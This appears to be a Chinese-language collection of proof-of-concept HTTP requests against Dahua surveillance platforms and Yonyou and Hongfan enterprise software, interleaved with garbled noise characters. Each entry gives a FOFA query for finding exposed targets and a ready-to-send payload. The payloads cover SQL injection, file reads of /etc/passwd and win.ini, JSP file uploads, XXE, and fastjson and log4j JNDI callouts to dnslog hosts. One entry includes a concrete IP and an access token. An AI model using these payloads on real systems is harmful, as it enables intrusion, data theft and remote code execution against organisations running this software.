  E$ w7 I2 U5 ]+ l0 X9 D. l, HAccept-Language: en
/ q+ l, `' V' W* }; }- Ysec-ch-ua-platform: Windows
! P0 Y# S8 s0 V7 J1 {$ e% d. w2 g4 BAccept-Encoding: gzip
( ^2 [5 ^. n6 [1 e$ }+ ?4 R! z
! M6 n+ x/ d+ x8 y
16.  红帆HFOffice医微云SQL注入
6 F. A* [6 V  v: DFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
# T+ x8 z3 O* z# ~GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
) E+ \  \2 I! Q- YUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
) Q( V/ ?5 |) N( l0 E5 YAccept-Encoding: gzip
2 G3 a4 f& s5 o# p

2 }2 ]/ g' N) k3 L. W  w$ @17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
7 z0 E& v; |7 X8 C. h" D' P) OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
# D" I& i% e. r8 `; iAccept-Encoding: gzip
, ~  E2 U+ n7 A$ M& f: s
; q/ N$ |7 O' a3 I% g8 |. S<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 F9 ?( t. u2 P  w9 |' i# B+ U4 f<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
( K/ {7 g, D! e( q* Z      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
" f# e8 A6 A9 P. W( L( v" g: Q      </netMarkings>
    </ns1:deleteBulletin>
% h$ F% w2 {! f1 Z9 x% V  </s11:Body>
, o/ w9 o9 j: H) V: i* ], N' e</s11:Envelope>
# D/ [  E9 T* E4 u/ ?
! \& q/ ?" l9 U& ]/ ?& J5 i
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
+ |( B% b0 F: L+ B; \1 {GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
- z; I3 Q, A  q, P! pHost: your-ip
% a0 ]4 D, {% s% L) UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 Y& l6 U+ R, Q1 E/ i5 uAccept-Encoding: gzip, deflate
Accept: */*
( A' Z+ G# g7 T% Q! i" q! AConnection: keep-alive
( F: W2 t; ~# I4 |

, W) L% b0 |$ y4 o' f+ W% _/ `
, Q9 a1 n8 b( R$ u# W$ k0 w19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ M' m$ C: ~8 v" NFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
2 {3 K/ Q$ H/ o; S3 `4 k% BHost:
, ~. b' p0 T( M+ j, W; jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
! c$ F' U* l! G- s% F, X. @4 ZConnection: keep-alive
% I9 [1 \8 U- w0 o" y9 r$ M5 ?$ v& `

2 k- ~+ l" T/ b, F0 f20. 大华ICC智能物联综合管理平台任意文件读取
: N. O' O) [4 s* Z7 a7 O) u: t4 NFOFA：body="*客户端会小于800*"
6 d5 D* F, T" O- \GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
  s" q. ^. w6 ]3 _0 @. ?Host: x.x.x.x
4 \1 T: ^% Q$ N6 X$ Q% }User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
, Q3 k  g0 b4 k# y# G+ l  P2 mAccept: */*
: l  |% L8 y- b) U+ N( U- ^Accept-Language: en
Accept-Encoding: gzip

+ u- X  Z; H9 |
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
6 a( K7 b8 F0 e6 V3 _% J1 e5 EPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
  g: R+ o1 z1 r  r8 {5 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ H% L0 r* ^, T! nContent-Length: 161
Accept-Encoding: gzip
  P0 S* y* Z- P6 `8 w$ PConnection: close
3 ~# C3 W, `! J6 @% Q7 S; AContent-Type: application/json;charset=utf-8
7 {# g+ a: @* v2 _; y& m
{
. [( `( g; }& b"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
# A* k* i9 X8 [1 ]) P$ M( M1 \- F  }""
8 j9 K4 g# x3 H+ p+ M}

7 J& v* y( ]- H5 \9 y' B, P
$ n# k) ?# `9 _* c, E22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
/ o' I" N$ y* |- bPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

( {4 L9 C+ F9 g+ N: e{
5 O/ |# V3 l, j' V' `"loginName":"${jndi:ldap://dnslog}"
}
& B3 q; V) o+ Y  e/ Y" L

2 X6 |! e. q+ K5 X1 O6 R& v7 W
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
, X3 x0 }& @* T+ ^/ E/ tFOFA：icon_hash="-1935899595"
% w9 |% f+ ^9 w1 a. QPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. @4 ~2 U; t9 \  UHost: your-ip
: [: p- T5 F- O1 N, b* T+ }# JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
) |: B3 ~/ {! m/ f* Y( IAccept-Encoding: gzip
Connection: close

7 M' i# A5 h. F$ K! o6 z! ]/ a" B{
    "a":{
1 F4 ~' [- e# q7 K; E        "@type":"com.alibaba.fastjson.JSONObject",
2 a4 k# L6 ]2 _8 X' [% D8 }       {"@type":"java.net.URL","val":"http://DNSLOG"}
3 l# a6 K! k' H        }""
) h; q/ ~- x  r3 K}


  q: D) r4 P9 S& k* j7 T24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
& K' q8 t- _) XPOST /aim/equipmap/accept.jsp HTTP/1.1
+ O" Y: u5 W1 }: Z. R5 t& O1 tHost: x.x.x.x
& r# ?/ [8 G( |User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
) O9 `6 v+ x% |( V" iConnection: close
- D  h; r& k7 Z/ DContent-Length: 449
Accept: */*
Accept-Encoding: gzip
& \0 O! {: i9 g4 y1 c# DContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ s; B% ]. y5 ^1 |' h. }+ b
$ Y2 S7 m: ^' H-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
: L, w/ f, p. {" L8 w: Y# PContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

7 Y; ]. D3 W: c# A6 W. b<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
0 N5 e9 c0 y4 F. Q* w+ z2 |-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) D$ Q& a3 E+ B! ]7 w+ s7 hContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
# G! U7 }2 H" J4 X& o! G
; L7 i+ e; D* p) P4 z- z  C$ t
+ X7 Z1 P2 W8 v) b5 E* z25. 用友NC registerServlet JNDI 远程代码执行
! M4 C. b# h+ s0 ^6 g# |' H) |8 [; j( sFOFA：app="用友-UFIDA-NC"
1 G: I1 v; T0 h: hPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
8 J+ |1 R1 y" H: Q# b2 V5 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
# o+ ?# ^. U3 p! H& c' f# D: tAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
! }5 y% h% }$ z: T2 \Content-Type: application/x-www-form-urlencoded
9 B' i2 v1 j0 s' E5 |" z
( D% U, T6 y% |+ Q/ w0 M/ Qtype=1&dsname=ldap://dnslog

4 n! J0 B5 Z. u4 F% T
9 H) z3 ?* q3 ~5 J6 V
' S# X# y& q: ?& S6 m' O26. 用友NC linkVoucher SQL注入
9 g3 W. u: V! z! q# }FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 g4 [2 y$ Y5 Y7 b; k- xHost: your-ip
) J1 L" H/ X5 u- H* T) z2 X* K8 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ o( v( d# V1 X( `: ?# RContent-Type: application/x-www-form-urlencoded
2 |2 h: o- e) ?/ MAccept-Encoding: gzip, deflate
' E  W7 k4 k- @2 B0 U" R; rAccept: */*
Connection: keep-alive
: `0 V8 W+ A/ _

' r0 n6 Z# p/ K: Z6 }6 [0 _27. 用友 NC showcontent SQL注入
& E2 e3 k- r; sFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
+ P1 ?7 H  @) H% ]  L$ k: ~" SHost: your-ip
4 X5 T# A) E0 F- u1 P0 ^; xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, B. x# `# W6 J  aAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
- d+ e- M" x- e
* D$ z3 X* s$ r$ x  N8 ?) `; p
28. 用友NC grouptemplet 任意文件上传
- c& ?8 j/ R' N  F) V" Y, m/ tFOFA：icon_hash="1085941792"
  J( H7 c- N# V+ k4 T' LPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
9 M& |! N+ }( P& L+ gContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
' v( [! f" X$ @' R
" b/ s+ ?- }. i$ d+ @------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
- I' V3 C# X( ~' O0 E/ Y+ aContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
4 s' I1 |, ~; M" o6 DContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
; `! r, l3 J1 o0 Q1 P------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


* @1 v' r1 a" e% z' O) C2 R5 V& x/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
  N) Q5 [! @  QFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
* a: v* l$ D6 f9 D% E* W4 rGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
9 v# k0 k: U" F+ Q8 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. o% Y' `! u% s5 \0 i! j" sAccept: */*
Connection: keep-alive


. f# S" R. u! |' u30. 用友NC importPml SQL注入
5 l- i* I1 ~/ |, Y5 E2 yFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; ^, p7 e( x* O& _+ F3 I( X! n' @POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
1 @8 I" y/ Y, [' [/ Q; OHost: your-ip
) s, D. Y3 P6 H! i) r2 Z' w5 Y) sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
1 v. z+ a# _7 ?" m7 I: P4 m" g- c
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
" \+ Y8 ^% {: v( ?" M; n, tContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
; k) I: ?. q& b

3 v+ f; B% q7 [# b' T- {5 [31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 ?; U: ^; G- d0 ]+ UGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
% C# J( V0 h8 T5 w: i+ i. nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; V+ [  {% l- A! p& g6 TContent-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
# P% ~' i$ j& e3 cGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  M; V5 e% p6 W# C9 sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 h8 [* n4 U$ ]Content-Type: application/x-www-form-urlencoded
3 L. r# R3 O8 V& p3 {, b- v* D* K3 dAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- g% ?; R! f' {. ?$ O0 G1 T' T6 R5 g
; r" [: u0 l) ^4 {6 c
1 z* t9 M4 |; W3 h% I9 y& `33. 用友NC downTax/download SQL注入
  X/ v# R  U# y) S' ]version：NC6.5FOFA：app="用友-UFIDA-NC"
4 t$ u. |- M, \) y9 T1 yGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
" p1 o2 k& Q3 E6 [2 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
* S# X) G" A. L/ Y5 f6 }+ R0 qConnection: keep-alive
5 s" C0 C* \  L1 f9 Q+ N

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
3 ?+ T6 z1 ?0 ^/ z5 KGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 U* Y5 b. j( K" KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
% P8 U& C3 _: r. S' v/ \Connection: keep-alive


& P  _" n' H- M3 y  g" v35. 用友NC-Cloud importhttpscer任意文件上传
0 w5 V$ L% {+ xFOFA：app="用友-NC-Cloud"
# L8 W! n0 E1 i; {( h. FPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
+ o7 n  C  [% W" h9 X* aHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
+ \* f/ ~" |# }1 w" j( w9 N. KAccept: */*
. ^- r- ~# T" ]0 _0 j9 qConnection: close
3 u; _8 G% o! ]+ jaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
" e& c7 v1 z9 M! [) c& iContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

% a3 z- x2 x: ]$ P( r( ~6 R--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

! }& u6 H9 b8 ^<%out.println(1111*1111);%>
0 _$ t& V* N, s% w! p' Y--fd28cb44e829ed1c197ec3bc71748df0--
5 _: w* u4 B' b8 u
* w$ B4 i7 |1 S' S9 s  _
36. 用友NC-Cloud soapFormat XXE
9 c4 a. g) O# F! v( p1 q, KFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
* \% W. C& r: E9 C8 p; RHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
9 c9 j, }' Z  A) n5 ^' pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
) V3 _; ^% m; b3 ?' s- Q* u. VContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
6 m4 R: J$ `& {% G2 y3 `
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
( q- j: B% O. F; eFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
  s) \0 p( v+ X$ ~$ w, J8 EHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! i  \: g3 x! H& E$ W  `Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 y/ x) K9 v: y, ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! H* D, p+ g2 u: VContent-Type: text/xml;charset=UTF-8
' |3 \0 P' _' p2 b& \: q' S& oSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
8 l, Z, d' L5 D* {3 Z<soapenv:Header/>
<soapenv:Body>
" T8 c: q$ f$ t( C) `<iup:getResult>
<!--type: string-->
  A; r: `5 m5 k  j% X<iup:string><![CDATA[
' }* [5 s* h6 \; F* F- E, u<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
9 A. t: z6 S' }8 ^# A; n<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
2 M, X5 J  z# j) {! ~* s/ u


38. 用友U8 Cloud smartweb2.RPC.d XXE
  R. g! s; G4 c: JFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
/ u# r  V" f1 pHost: 192.168.40.131:8088
& q& J' B) x9 A- @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
- ~; ?+ `' q/ \& C. d& A" q3 WContent-Length: 260
0 Z6 c3 o3 A6 u+ q& H: J1 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
& k3 ?2 i4 [2 p3 F7 s/ nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 I- g4 J0 k8 G2 _Connection: close
Content-Type: application/x-www-form-urlencoded

6 H% ?- E( M& U" k. M__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
3 Z, O" {* ?( A9 V
; p/ G' h! I8 p1 e' \: n* u
$ [& D- D& K( }  B" g, r8 ^39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
+ f4 v8 G3 a4 D  t$ i+ CPOST /servlet/RegisterServlet HTTP/1.1
/ T$ F/ o8 `- R+ h" \2 t8 _- ]Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
' I0 i+ f  ^  }: F2 VContent-Length: 85
' p& k" b  N2 ]1 Z4 D/ `& `Accept: */*
7 h9 }8 X$ Z4 E3 HAccept-Language: en
Content-Type: application/x-www-form-urlencoded
7 {9 V1 K# J- q0 _X-Forwarded-For: 127.0.0.1
4 m! N* x8 S% E  ]0 V7 D5 bAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


1 Y, F4 m- A8 g) j40. 用友U8-Cloud XChangeServlet XXE
! N2 f. Z; F0 h2 y9 HFOFA：app="用友-U8-Cloud"
" ]8 T! R8 R: U. L9 sPOST /service/XChangeServlet HTTP/1.1
! C8 J# F' S4 _8 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ h/ M% }8 g" \- p& M+ r/ SContent-Type: text/xml
- [2 W2 v1 N6 j5 ]Connection: close
' ^& ^, M5 `2 B9 r9 a6 I+ b! e; l+ s
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

# V* h) e1 m: d6 F5 d4 C
( A, W# ]: o+ `) e0 ?41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
: T0 _' ^. [0 }# [- e' v; eGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ s& K$ Z6 w2 j6 u) V5 mHost:
$ t: e7 k5 F4 `3 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
- P9 n( T, w( _: u# y7 R# VFOFA：app="用友-GRP-U8"
1 x' `4 {. m3 {; S. U3 D5 pPOST /u8qx/SmartUpload01.jsp HTTP/1.1
8 Z, K4 \0 v' R  [' u& X* I5 t# N2 UHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
3 h, h/ V! C, a, mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
, i1 m: e6 |5 p$ g: [
2 }+ a! }4 t& K/ o0 m# dPAYLOAD
8 D6 O$ I' P" e( l4 Y' c- G" p

. b. ]  \' O* q( `5 ohttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
  P6 F6 _( I$ H( d7 k
: b$ i9 `. {3 h43. 用友GRP-U8 userInfoWeb SQL注入致RCE
9 H6 w, g$ u, {+ u) V" w% bFOFA：app="用友-GRP-U8"
# [- _1 p" l# f1 B" b/ i. IPOST /services/userInfoWeb HTTP/1.1
2 L) K9 d( U1 I3 iHost: your-ip
; o1 V7 L7 U9 C* bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 I5 U) D7 `" F& l/ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 j$ S6 M% H! o) v2 A+ {Accept-Language: zh-CN,zh;q=0.9
. [5 A: n3 c' U& _9 nConnection: close
SOAPAction:
+ f0 P1 q  ?1 N& y- tContent-Type: text/xml;charset=UTF-8
. K+ R# ^" L' n; d$ w5 L) y
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
# q( I) L- _/ `- z: d   <soapenv:Header/>
4 m& k5 E8 t$ L/ L   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
5 ^) \! w- ^9 y5 }' R) [         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
2 {- O. m- c2 G( ~   </soapenv:Body>
</soapenv:Envelope>
+ `( ]$ C7 u) w4 ?" g1 R# W  t
7 f" \; I& [8 O
& G' ^+ _. g9 ], T/ [4 l, j44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
9 S" b8 C5 O# m  Y) ]  pGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
9 |1 J3 h1 h2 z7 WHost: your-ip
  p' f- `% j( M$ l! i7 V2 o% [* h& I0 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  \+ d, M! n' Y9 j" YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

. V( M  |( g% `0 f/ [" i
! c9 D" {) {: ]( T+ T- T45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
  g6 E. z& w+ m, Q$ F# P9 eConnection: close
" P+ W! n, C5 p# p; a& y: q1 QContent-Length: 161
9 h$ A* {, R: }# jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  G5 h2 J' [% ]5 g, ?7 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 G3 N2 x; G$ C' f: p
reqData=<?xml version="1.0"?>
